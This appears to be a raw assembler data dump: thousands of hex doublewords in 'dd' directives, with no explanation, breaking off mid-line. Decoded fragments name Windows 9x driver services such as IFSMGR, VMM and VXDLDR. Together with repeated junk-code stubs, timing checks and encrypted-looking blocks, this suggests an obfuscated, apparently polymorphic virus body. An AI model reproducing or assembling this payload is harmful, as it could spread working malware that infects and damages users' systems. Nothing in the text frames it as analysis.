0A5C35242h, 88912617h, 6A6171h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9131CC3h dd 1CC19056h, 8E9010Eh, 2000000h, 8D55A283h, 0C299583Bh dd 6A0008h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 49DB91C3h, 60734AE7h, 68F0F92h, 1000000h dd 305A185h, 0C1858B06h, 6A060331h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B1DFC351h dd 0E42BFAFBh, 0D0C23B9Fh, 68E0Fh, 85310000h, 6032271h dd 298D294Ah, 29060317h, 300198Dh, 4D26B06h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B5C35242h, 0AA33BBDFh dd 206B6FB2h, 0C203F973h, 2B158D29h, 85890603h, 60328B5h dd 0A820F96h, 60000000h, 95896160h, 6031A91h, 9D89AD61h dd 60305A1h, 24247C81h, 10000000h, 163870Fh, 850F0000h dd 18h, 11E960h, 67520000h, 906DDC5Ch, 0B463A8FEh, 3D370EFAh dd 6154C516h, 820F50F8h, 19h, 14E9h, 1A8CC200h, 407533DCh dd 4EC84789h, 870A0B2Ch, 65344558h, 240489E5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D5C35242h, 0BA326D16h dd 8F0FE184h, 8, 28C0Fh, 61600000h, 2824448Bh, 21019589h dd 50900603h, 0D8B0F52h, 0E9000000h, 8, 30AC0C66h, 0FF32D0A0h dd 0E860310Fh, 6, 0CD4B164Bh, 8B590DFAh, 585A61F0h, 0DE950h dd 0A4DE0000h, 58841389h, 90277518h, 9070A1C8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 46C35343h, 0C42B1AD5h dd 4D2CB8CBh, 0E830Fh, 9E90000h, 0B000000h, 340A06B2h dd 0F88F75F0h, 3FCE858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 7BC33C3h, 0FCE1A83Ch dd 358D89F8h, 0FF060309h, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 858960CCh dd 6032B0Dh, 11E9h, 2535B900h, 74E5A2B3h, 1A3AEE7Ch, 609E457Ah dd 31617B17h, 306098Dh, 0FD21E906h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 405BD9C3h dd 95B589FFh, 8D060326h, 6888985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8C0F6074h dd 5, 436B92BEh, 0C9B58919h, 6106032Bh, 60525090h, 7E9FE8Bh dd 91000000h, 0D55C2EECh, 0F61CE28h, 10E931h, 635F0000h dd 0C8A9CF9Dh, 0EC504390h, 0A3D368DFh, 585AAC8Eh, 52506050h dd 0FDA8B66h, 0DE8B6631h, 8B66585Ah, 609061D6h, 168E0Fh dd 10E80000h, 0C6000000h, 296CECEFh, 6487E6AEh, 0C927A49h dd 59CC0538h, 35FF6461h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 8CC35242h dd 0F853CEF8h, 0BB60C8FFh, 2603D2D0h, 14DA8166h, 48B614Eh dd 18C0F24h, 0F9000000h, 0E58589FCh, 6A060312h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 97EC351h, 31041BDh, 25896406h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 11C35545h dd 68F0F33h, 31000000h, 32241BDh, 0C0858D06h, 6A060686h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 127BC357h, 2E50D514h, 496010F8h, 25BD89F9h dd 89060323h, 8D290160h, 6031BCDh, 205E9h, 0DB8BF900h dd 0E8h, 0ED815D00h, 60686B9h, 12FF9CBCh, 85BD8300h, 6032Eh dd 858B1874h, 60301FDh, 8B0000C6h, 3117585h, 0C606h, 20F195FFh dd 0FF600603h, 66FB1B5h, 0B5858D06h, 5006066Fh, 71AD858Dh dd 0FF500606h, 3128595h, 0CC48306h, 810FFC61h, 0Ah, 81F3B660h dd 2A13F0C2h, 0B58D6128h, 60671ADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 94C35242h, 6B8E68D4h, 0CDCCF251h dd 0EE9E5h, 0DF110000h, 796EEBA7h, 0E84B532Fh, 1B112D9Eh dd 5BD8DF8h, 0F06030Dh, 68Eh, 49BD8900h, 80060312h, 840F003Eh dd 50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h dd 0BAC35545h, 98D89AFh, 0A4060310h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 84C35141h, 0F5FFBE16h, 0FFADE9FCh dd 0B589FFFFh, 6031799h, 0B8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0B2A7904Ch dd 33E5FBAAh, 10A98589h, 0FAA0603h, 0A82h, 5E900h, 0DD940000h dd 0B87B9B63h, 7, 18C0Fh, 0C7F80000h, 31BDD85h, 106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F4EB263h, 0F8Fh, 5E96000h, 34000000h, 0F0791936h, 61D6B70Fh dd 1C8D8DFCh, 0F06034Dh, 681h, 0E99D3100h, 0FF060308h dd 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 7AD3F14Ch, 601FCCE4h, 0BEDFE781h, 0D08B2211h dd 245C8B61h, 0E8550Ch, 5D000000h, 8893ED81h, 838B0606h dd 0B8h, 6FB18589h, 858D0606h, 60686B2h, 0B88389h, 335D0000h dd 6AC3C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0D0733AC3h, 2982996Fh, 32DEDBDh, 68F0F06h dd 31000000h, 3000995h, 10E96006h, 0C4000000h, 9D74A41Bh dd 4652D2Ah, 3C7ABB08h, 8D5149ADh, 68B3D85h, 0AE906h, 3D5F0000h dd 0D82A268Eh, 292C94C1h, 10E950h, 0F6710000h, 0E1D84ACAh dd 0B29ABD49h, 0A76CC2FFh, 48933EEh, 8D850924h, 64060313h dd 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0DFF435C3h, 258964h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 4A6FC352h, 4BF4414Bh, 0BD89AE3Bh, 6030395h dd 14E9h, 3AD1C100h, 996FD073h, 0DD4F8F82h, 0EC4410FCh dd 0E5BD6273h, 7E985h, 0D7760000h, 0B4792F7h, 0D6858D27h dd 3106068Bh, 322E9BDh, 1608906h, 0C78B6660h, 615BE680h dd 2F3985C6h, 6A4F0603h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0F2FEC351h, 0F7AB4E3h dd 188Ah, 128F0F00h, 0E9000000h, 0Dh, 1FB27A69h, 5923E2E8h dd 0FD1F6DC5h, 4E839h, 742A0000h, 8E0FFEC8h, 16h, 8E860h dd 32E60000h, 918FCA5h, 0F5A083Dh, 8Ch, 60506100h, 0BE60F28Bh dd 141E1627h, 61616160h, 424448Bh, 7E9h, 1A8D7A00h, 0FB025B33h dd 0BE9008Bh, 0C7000000h, 3078802Dh, 8CD3233Ch, 44891A35h dd 0E9600424h, 6, 54ED345h, 8B66F502h, 6A5861C2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0A81DC356h, 0C518D89h, 0FFF80603h, 328C9B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6E0CE8F9h, 60F0CAD4h, 0FE9h, 9E18DB00h, 0F94A75DDh dd 0D28985BCh, 72482400h, 18D0Fh, 61F50000h, 73BC858Dh dd 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0C80006C3h, 59858960h, 6106030Ch, 9D29D0FFh dd 6031B15h, 1005B589h, 0BBE90603h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0A73CC357h, 39951EBEh, 245C8BE3h, 0E8550Ch, 5D000000h dd 8B47ED81h, 858B0606h, 6031359h, 28C98589h, 858B0603h dd 6032D11h, 31918589h, 858B0603h, 6030175h, 0C7D8589h dd 85C60603h, 6032F39h, 0B485C700h, 60674h, 8D000000h dd 68BD685h, 0B8838906h, 5D000000h, 0FC3C033h, 1383h, 0D8D0F00h dd 0E9000000h, 8, 0DF4D30Bh, 4DCE8AB3h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 86C35242h, 89858B60h dd 89060312h, 32C85BDh, 74BC6106h, 6A0012FFh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 8886C357h, 0DE9ACh, 9FD80000h, 6AF5828Fh, 0AC61272Ch dd 94AE8B7h, 3292DBDh, 58F6406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 90C35747h dd 8603ED36h, 1FF9FF6Fh, 0B70F60A9h, 0FE9FFh, 0BDCE0000h dd 96FC7B39h, 2EE9B2D4h, 23E64277h, 0C483613Dh, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0F70EBA5Ch, 4934EB61h, 474D5346h, 56202052h, 2020444Bh dd 56202020h, 20204D4Dh, 56202020h, 334E4957h, 56202032h dd 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 83Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0BC35040h, 0CACB6EADh, 5E4B90Dh, 0C8D0FF0h dd 0F000000h, 68Ch, 870F00h, 0F000000h, 1C8Ah, 8E96000h dd 0DD000000h, 19F9E168h, 0E9B5B86Ah, 8, 0FB8F8E04h, 46BAE428h dd 0C7F56061h, 68CA385h, 6, 0BE96000h, 4D000000h, 0DC37D7B6h dd 0EC218E7Eh, 0BF0F20DEh, 0C68B61F7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 40C35646h, 52853746h, 310E8C16h dd 0CE9h, 1D35A100h, 5A6D0E90h, 0C927042Ah, 9860F04h, 60000000h dd 838E97B9h, 61F48A2Ch, 6AD8B70Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC9AC353h dd 0F10E8C1h, 1E86h, 810F6000h, 0 dd 10E8h, 0C9A2AF00h, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h dd 66615832h, 6A08C8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 6460C352h, 118A0Fh dd 0CE90000h, 0DE000000h, 6D50AA59h, 85E439BCh, 8940B921h dd 68CA785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 6A08CDC1h, 8311E541h, 7E9h, 0F1F8C500h dd 0A4665B07h, 8CBC166h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 4EC35545h, 3D5409D1h, 0E977FDA5h, 0Fh dd 0B4996989h, 0BB186E68h, 1888726Ah, 83C5A6C5h, 850F40FBh dd 0A3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 1DC35040h, 0ECCB7831h, 850FFDC8h, 11h, 5E960h dd 0F3930000h, 664074A9h, 0FAB2E081h, 7BBD8D61h, 6A06068Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0C77BC352h, 608D0408h, 0EE8h, 9532F600h dd 366F0705h, 0C562ABF2h, 669896B8h, 0E85EFE8Bh, 11h, 0DDF5872Dh dd 1E05529Ah, 0F267A892h, 869B6072h, 0D08166B7h, 615ED61Fh dd 22DE9h, 5E900h, 271E0000h, 8359D633h, 850F0DFBh, 4Fh dd 83BD8DF5h, 0E906068Ch, 11h, 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh dd 0E518A81Dh, 1F8E932h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 8AFCEFC3h, 8E9FA11h dd 0E4000000h, 0FF5EC337h, 830F51DEh, 850F01FBh, 0ABh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DDC35747h dd 560B58EDh, 5E9h, 11D81A00h, 0BD8D0418h, 6068C8Bh, 1E8E0Fh dd 0E8600000h, 13h, 86EC89E7h, 10B81F42h, 7CC1F0A0h, 0F5561425h dd 5B051CE6h, 61D8BF0Fh, 0AE9h, 0B36AC200h, 17227A79h dd 0E945C40Dh, 15Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0ECC35646h, 0E93BAA72h, 7, 0FE972645h dd 0E9DCD765h, 13h, 1C31091h, 414031Bh, 39386059h, 0E88A7D68h dd 83FC5AA7h, 850F2AFBh, 0ACh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 1DC35545h, 14E90Eh, 1C1C0000h dd 0F899255Bh, 679D0B55h, 0CF8CAD11h, 0F5BC494Eh, 0BD8DCA84h dd 6068C93h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0F5C35141h, 3A97029Fh, 0ABE9F5F9h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0F241C356h, 12820Fh, 56600000h, 9E95Bh, 4A0A0000h, 0BC231718h dd 61320497h, 48F0F60h, 66000000h, 0F1CE2BFh, 28Eh, 61CB8A00h dd 0F27FB83h, 2D085h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0E8C5923Dh, 0F60D648h dd 86h, 0C0806000h, 8D6161AFh, 68C9BBDh, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0B7E5F720h, 60BE31ABh, 0BD895477h, 6068CABh, 0C88C66FCh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h dd 0F4D6047Bh, 8B60E026h, 32461D9h, 61F5FC60h, 850FC00Ah dd 18Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 39C35747h, 8DF87324h, 6940CB5h, 78A0F06h, 0F000000h dd 18Bh, 858BF800h, 606948Ch, 8E960h, 83FA0000h, 480491Ah dd 61F53845h, 0E800F50h, 50000000h, 0F616052h, 0F525031h dd 5A585A31h, 24148958h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0D2C35040h, 0CE960h, 0AB20000h, 11446338h dd 711DDC6Ch, 0E96187C0h, 0Fh, 1B95900Ah, 0BFB72977h, 0D9968BD9h dd 0F51FC2Ch, 0FE244C01h, 1C870Fh, 0E9600000h, 10h, 0E3DDF67h dd 162CFF0h, 20A6A684h, 806E4064h, 4285CBAh, 0F60616Dh dd 0D48AC2BFh, 5E95A61h, 0C3000000h, 0A79217B1h, 6A24C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 39C4C356h, 5B83F19Ch, 8966DEF2h, 0C1F8FC72h dd 6A10CEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0E9F979C3h, 13h, 2511AFF0h, 5F47A617h, 0BD8E428Fh dd 0CC061C79h, 661ACE01h, 6A027289h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1AD0C356h dd 66F86018h, 61C0F4BAh, 820F04CDh, 12h, 0F08B6660h, 8E9h dd 0A1EC1200h, 0B9125EECh, 0E9F56113h, 9Ah, 0AED8060h dd 8B61B6B7h, 6948C85h, 0B58DF506h, 606940Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 1CC35545h, 61541D51h dd 60603F63h, 0B585BAF8h, 57614DD7h, 0E9615BF5h, 10h, 74199B69h dd 951B0370h, 1CC77FF4h, 94700F14h, 4BD4858Dh, 850F0606h dd 7, 1880Fh, 0FFF80000h, 55006AD0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0B850F26h dd 0E9000000h, 6, 7559F343h, 8589BAAEh, 6068CA3h, 0CE9h dd 64CF0200h, 0C0C10C11h, 34241CB7h, 5E961FAh, 14000000h dd 8010D8F3h, 8CA3858Bh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 2CD63C3h, 2C4657EDh dd 98F0F43h, 60000000h, 830FFCh, 61000000h, 800F60C3h dd 0Bh, 6E9h, 0A78C8500h, 0F0EA0CEh, 685h, 880F00h, 61000000h dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0C80DF317h, 8D200594h, 6660FCD8h, 8B901BB9h dd 0BD8361CAh, 606948Ch, 30850F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 323FC357h, 1890F64h, 0F5000000h, 948C85C7h, 13F0606h dd 0E9F80001h, 0Eh, 8890Fh, 60600000h, 0ECBF6661h, 20CD6190h dd 0 dd 3774C00Bh, 8B0C708Dh, 68CABBDh, 8B906h, 75A60000h, 0FA754922h dd 8B30488Bh, 68CA79Dh, 34583B06h, 0D38B157Fh, 304D26Bh dd 89018BCAh, 68CA385h, 8B04EB06h, 61C5EB00h, 8CA3858Bh dd 0FCF0606h, 885h, 2890F00h, 60000000h, 8E961h, 67C60000h dd 1BEA1530h, 0C08BDC52h, 148E9h, 5000h, 5400h, 5800h dd 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h, 0B400h, 0B800h dd 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 5751C900h, 9F50EB00h, 0F5858D00h, 1060694h, 328C1BDh dd 35858906h, 0F5060696h, 2F3985C6h, 66540603h, 0CEFEE381h dd 4E8h, 62682900h, 0BE8EEh, 91F60000h, 0A3069DF8h, 0CF6B0CD3h dd 0A997BB37h, 505B74DFh, 424448Bh, 52505650h, 585A310Fh dd 8B595Eh, 0E8605250h, 0Bh, 0B75ECBF2h, 0D04B5BDAh, 5FA895F7h dd 0E9310F61h, 14h, 458A38FBh, 0D3C4736Eh, 0E9823B5Fh dd 0BC149BDEh, 0AF3D4616h, 4489585Ah, 0CA8B0424h, 4840F58h dd 66000000h, 0FF8AB2BAh, 328C9B5h, 2D8D0906h, 0E9060328h dd 14h, 2D41628Fh, 1F96E90Ah, 0D438D5ACh, 0C317B8ACh, 3148F9FEh dd 73BC858Dh, 8E0F0606h, 2, 810FEC8Ah, 6, 145DBD89h, 0D0FF0603h dd 7E8h, 44B41500h, 0C2ED8F90h, 5F98B966h, 3985895Bh, 29060696h dd 31CED95h, 4DE906h, 0AE90000h, 39000000h, 0DD8B7E23h dd 42176140h, 0A99D8946h, 56060303h, 9635B58Bh, 6890606h dd 96358583h, 5E040606h, 0B58D60C3h, 60694F5h, 6A560FEBh dd 0FF36FF00h, 6963995h, 0C6835E06h, 3E8304h, 0C361EC75h dd 71B58BF9h, 8D06032Eh, 6975985h, 1D858906h, 0E806032Ah dd 7, 4EDE12B5h, 0F85176Ah, 665AD8BFh, 0C281DA8Bh, 5D4Bh dd 5ABEC68Ah, 8118BB72h, 44A4D3C6h, 8D8B60E7h, 6030F09h dd 617DD180h, 9D8B0A8Bh, 6030ABDh, 0BC21C181h, 38B3445Ah dd 0FE02F181h, 0BF6676EEh, 0C18103D1h, 475D06F9h, 2155850Bh dd 0A890603h, 1CCD858Bh, 0EA830603h, 89B58901h, 4A06032Dh dd 0BF0F4A4Ah, 1EE83C2h, 0D850Fh, 8B660000h, 21E9FEh, 0F2FA0000h dd 66E544A7h, 57E6E081h, 0FFFFA3E9h, 0CF959CFFh, 0BE4F1A31h dd 0FCE75B76h, 35F4BBC2h, 0E97528F2h, 0E5h, 0FFEE4D10h dd 1F3271DCh, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 171E577Dh dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh, 20602060h dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h dd 0F0362BA7h, 0F360D650h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 0E0A1E35h, 66C1A800h, 0F2FD54A7h dd 68689143h, 0D9FE92Fh, 2D680000h, 0E906069Ch, 0FFFCE441h dd 69D2668h, 0E437E906h, 1768FFFCh, 0E906069Eh, 0FFFCE42Dh dd 69EFA68h, 0E423E906h, 8668FFFCh, 0E906069Fh, 0FFFCE419h dd 6A01B68h, 0E40FE906h, 7668FFFCh, 0E90606A1h, 0FFFCE405h dd 6A25868h, 0E3FBE906h, 2E68FFFCh, 0E90606A3h, 0FFFCE3F1h dd 6A40968h, 0E3E7E906h, 0F968FFFCh, 0E90606A4h, 0FFFCE3DDh dd 0BA2ECFA2h, 2FBD46D7h, 590FB45Ah, 0C99F20F4h, 7A6E9364h dd 78194D88h, 0E8881D73h, 5E3C81C7h, 0CBA23755h, 9B1FA62Ah dd 858168Fh, 19DA6A71h, 0ED68432Ah, 9F03E6Fh, 5C61345Bh dd 9AF2590Ch, 0A426337h, 0BB2DD6A7h, 2EBE3FD6h, 2393C77Dh dd 3414CE88h, 770EEC9Bh, 0EC29A286h, 0C097770Eh, 0EB10E2C1h dd 489CA01Ch, 0A5E5F36h, 9318F98Ch, 16F9ECF9h, 1692F791h dd 0A6C0DEA9h, 11F24482h, 0A86D3275h, 0DF78D0DFh, 5D710B96h dd 5004E98Eh, 2DB0D8A7h, 7927A54Ah, 0EEFE0394h, 85687DFBh dd 0A5FE97B3h, 9742710Bh, 9EA615C2h, 0E9740C5Dh, 0F1B957FFh dd 0AA4B710Ah, 85B83CCBh, 0C453D308h, 54593984h, 2DA68234h dd 93710BA2h, 5185BFC4h, 3C60DCE1h, 0E46F8E51h, 9A6E2CCh dd 9040D971h, 29BC710Bh, 0AE573E53h, 355B26C7h, 0A028CDA0h dd 0FDB53ADDh, 906EE743h, 95B5710Bh, 710B90FCh, 2FBA9540h dd 0AA6A3951h, 0A4492C66h, 10997B0Ah, 5FB1A778h, 108CB9F0h dd 8831C685h, 3DDE582Ch, 25D2EAB7h, 0DBE84472h, 936A08C1h dd 4E6F03E2h, 58DE8F2h, 3FCE0000h, 59DA5657h, 2AA2432Ah dd 590FB047h, 2D45632Eh, 5A32B758h, 53F7B10Fh, 7512007Dh dd 32AB7F3Bh, 8E710BE0h, 0D9A44D23h, 0E29C1A72h, 0E0870028h dd 66F5710Bh, 0BE0AD26h, 0E8441371h, 0BE043C0h, 0F53C171h dd 6A3E1329h, 77CC93h, 0F06F0000h, 0FB94B485h, 41770EF0h dd 92730F9Ah, 0F194F4FDh, 0D0833D7Bh, 32E06C8Fh, 0EBC3B933h dd 75113359h, 0B952F6B0h, 60710B13h, 0B134FC8h, 0E73EAD71h dd 90D3F3BAh, 8C1BFC70h, 24A1130h, 0B615DFAh, 550FAB71h dd 0B615CF5h, 7D35A071h, 0B6134ADh, 67DD8871h, 0A25C0F53h dd 0B620D86h, 7A1C7371h, 0E7721771h, 0C3223A09h, 0F3DD9369h dd 9B000000h, 248029CAh, 0A2432AAFh, 0D5475304h, 62E922Eh dd 0ED6A922h, 0F5401777h, 0ED826F7Fh, 563984C4h, 0DE813751h dd 0EA9B2E3Eh, 2CC281CCh, 0B1442987h, 0FCA1720Ch, 0DAECB56Ch dd 4595F977h, 770E3A57h, 3612E689h, 770E399Dh, 0C5EE8CE3h dd 1DD7937Eh, 0E39940Dh, 457DE877h, 0E396CE5h, 0AF05D077h dd 1E9F76DBh, 504E394Eh, 4AA83216h, 0C3967511h, 9B72138Dh dd 66119E1Ah, 91742E48h, 0F491FB00h, 0C2ADA3A3h, 2480BE59h dd 94BF604h, 0B9F1646Fh, 0B24740D4h, 0BF2AA209h, 11E687C1h dd 8011E4E8h, 26C7387Bh, 0F29AE6D4h, 9D11Fh, 73740700h dd 0C6EB881Dh, 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh dd 6DF0941Dh, 9164688Dh, 7EAFE03h, 78194F70h, 5471EA3Eh dd 3DCF7108h, 8A6C01BEh, 11E68B61h, 0AB3AE4E8h, 39AC3CC5h dd 0A6472E43h, 85F0B122h, 0CE914B67h, 447AC979h, 0FF4B678Ah dd 770E7B66h, 99B10FDAh, 75118AE7h, 9D8E6302h, 0F792FAFFh dd 26B58C68h, 8D019EA6h, 110F710Bh, 0EDD1EBCDh, 0C68E9369h dd 0EC000000h, 0D8B8D92Bh, 52254596h, 0C3AE3BADh, 432AEE65h dd 335304A2h, 7EFD9289h, 8429C99Ch, 1CFD4028h, 3F2DF597h dd 9A770E8Ch, 2A2DFF9h, 99D19296h, 0E6818B1h, 7BF16477h dd 6A7E7F16h, 0B035D9ACh, 39BE5134h, 4F6D18AFh, 788D1733h dd 24B37511h, 7E7C07A0h, 29A28640h, 97710B52h, 1E2A64C0h dd 6F08EE01h, 3FCEE87Fh, 0AE33515Ah, 6A8120C9h, 0EFE6D4F0h dd 8D8C21Fh, 6D0C0000h, 0E4B10448h, 522489DFh, 0BE563BA9h dd 31C6AB39h, 0AF6EC488h, 0FFED16FBh, 6361866Ah, 91F7FC9Eh dd 44690Ch, 78113971h, 0C4710853h, 452AB734h, 0B46E28BCh dd 0EF0FB94h, 0DC9A4177h, 0EF0D34Ch, 0C6A22977h, 0A52BCCA3h dd 0A2432A3Eh, 0FB0472Ah, 6C0EDF59h, 0E4400547h, 8AF57545h dd 1181526Ch, 6F57905Dh, 313050A8h, 0E97463D3h, 52E079D1h dd 895C770Eh, 0FFD57533h, 0DA75116Ah, 0F40F8D39h, 229E4733h dd 61195403h, 0B10A83A7h, 0E376710Bh, 0A4822505h, 0DDA8A6C3h dd 5DF6520Ch, 0A37E43BCh, 0BC7B1434h, 1AC17E43h, 7157F38Fh dd 0A87C46D5h, 0D8B035C5h, 0B31E378Dh, 0D1B4D4DDh, 8FD9DEB2h dd 6A1D4FDAh, 4E9811Fh, 158E9A72h, 6B7846D5h, 0DD9B11FCh dd 44C21C4Dh, 0ADC59076h, 0DCB035D8h, 6E01A649h, 1E1CAC05h dd 0E7D934D4h, 3D000007h, 0A60B595Eh, 0D5B82CD5h, 472ABE43h dd 0F75A0EAFh, 79CB9922h, 0E207E8BEh, 76771BEEh dd 0C4ED8F12h, 555A3D80h, 286E37h, 71085287h, 1A043F5h dd 8D6B8C6Ch, 846815F8h, 0F0FF98B0h, 0EE7D770Eh, 93D4B403h dd 9F5A32E8h, 7D57E1F6h, 513B869Ah, 3911A934h, 751158FFh dd 0DBA2EBDh, 0FBFC9C82h, 0B098526Ch, 710B5B17h, 0FF93F665h dd 8A4402FEh, 5A5F3DD0h, 0DC755732h, 47710B5Ah, 0B5A6AE3h dd 3D671h, 49CFDF55h, 0A76F09E1h, 977630h, 7104E9FFh, 206B1C4Ch dd 7301E482h, 3E48B584h, 268DD81Ah, 6F3C0C4Ah, 2D7507D5h dd 8A6D00BEh, 0FB926765h, 772E1630h, 412CA887h, 0EB34429h dd 0DDAD0B5Eh, 0C0BDFAAh, 0FE4B7585h, 41E9816Ch, 6F0E0133h dd 287B3AA1h, 0F5E6D22Dh, 704F815h, 41D00000h, 0B84528BCh dd 26C85D33h, 927ACF9Dh, 5EA7F6Dh, 0DB1AE8FCh, 83C1EA8Fh dd 37555A3Eh, 0A52BD0A2h, 0D4B83DD0h, 0A43D0D8Dh, 18710852h dd 6C018B68h, 94646B8Ch, 5F2A9513h, 0B3442941h, 54F4B20Eh dd 750D787Fh, 5610AE3Dh, 66C2E3B7h, 0DCB36C03h, 0B5184CDBh dd 0FC8BDDE2h, 31B9D991h, 45B71E18h, 502DC0FEh, 21A421ABh dd 0A722AA4Fh, 2D58FC9h, 1718DE8Bh, 0C6E6429Ch, 6F0B76ACh dd 0EB2C4712h, 0AEE6D7B7h, 67803DEh, 0CDAC0000h, 44D1A428h dd 0B24429BFh, 1EF65B09h, 9166CB99h, 4F8E6468h, 1F4D761Bh dd 83C1E68Ah, 31575C3Eh, 0A024C9ACh, 18B19911h, 64710852h dd 85F017D4h, 0D2BA4B67h, 0F0B12AFEh, 580F770Eh, 113977CDh dd 750D776Bh, 816402C9h, 369BC9EEh, 790E5E5Fh, 668B680Eh dd 9E4BDF9Bh, 1A6F06DFh, 0BB52334Fh, 2CC3563Ah, 0DBA6C18Bh dd 28EBA5DDh, 0A370E721h, 0C3E5791Eh, 34426AC6h, 0C57511B1h dd 0B2A63F0Bh, 4F1A710Bh, 6A05D0F1h, 0E0D1FD27h, 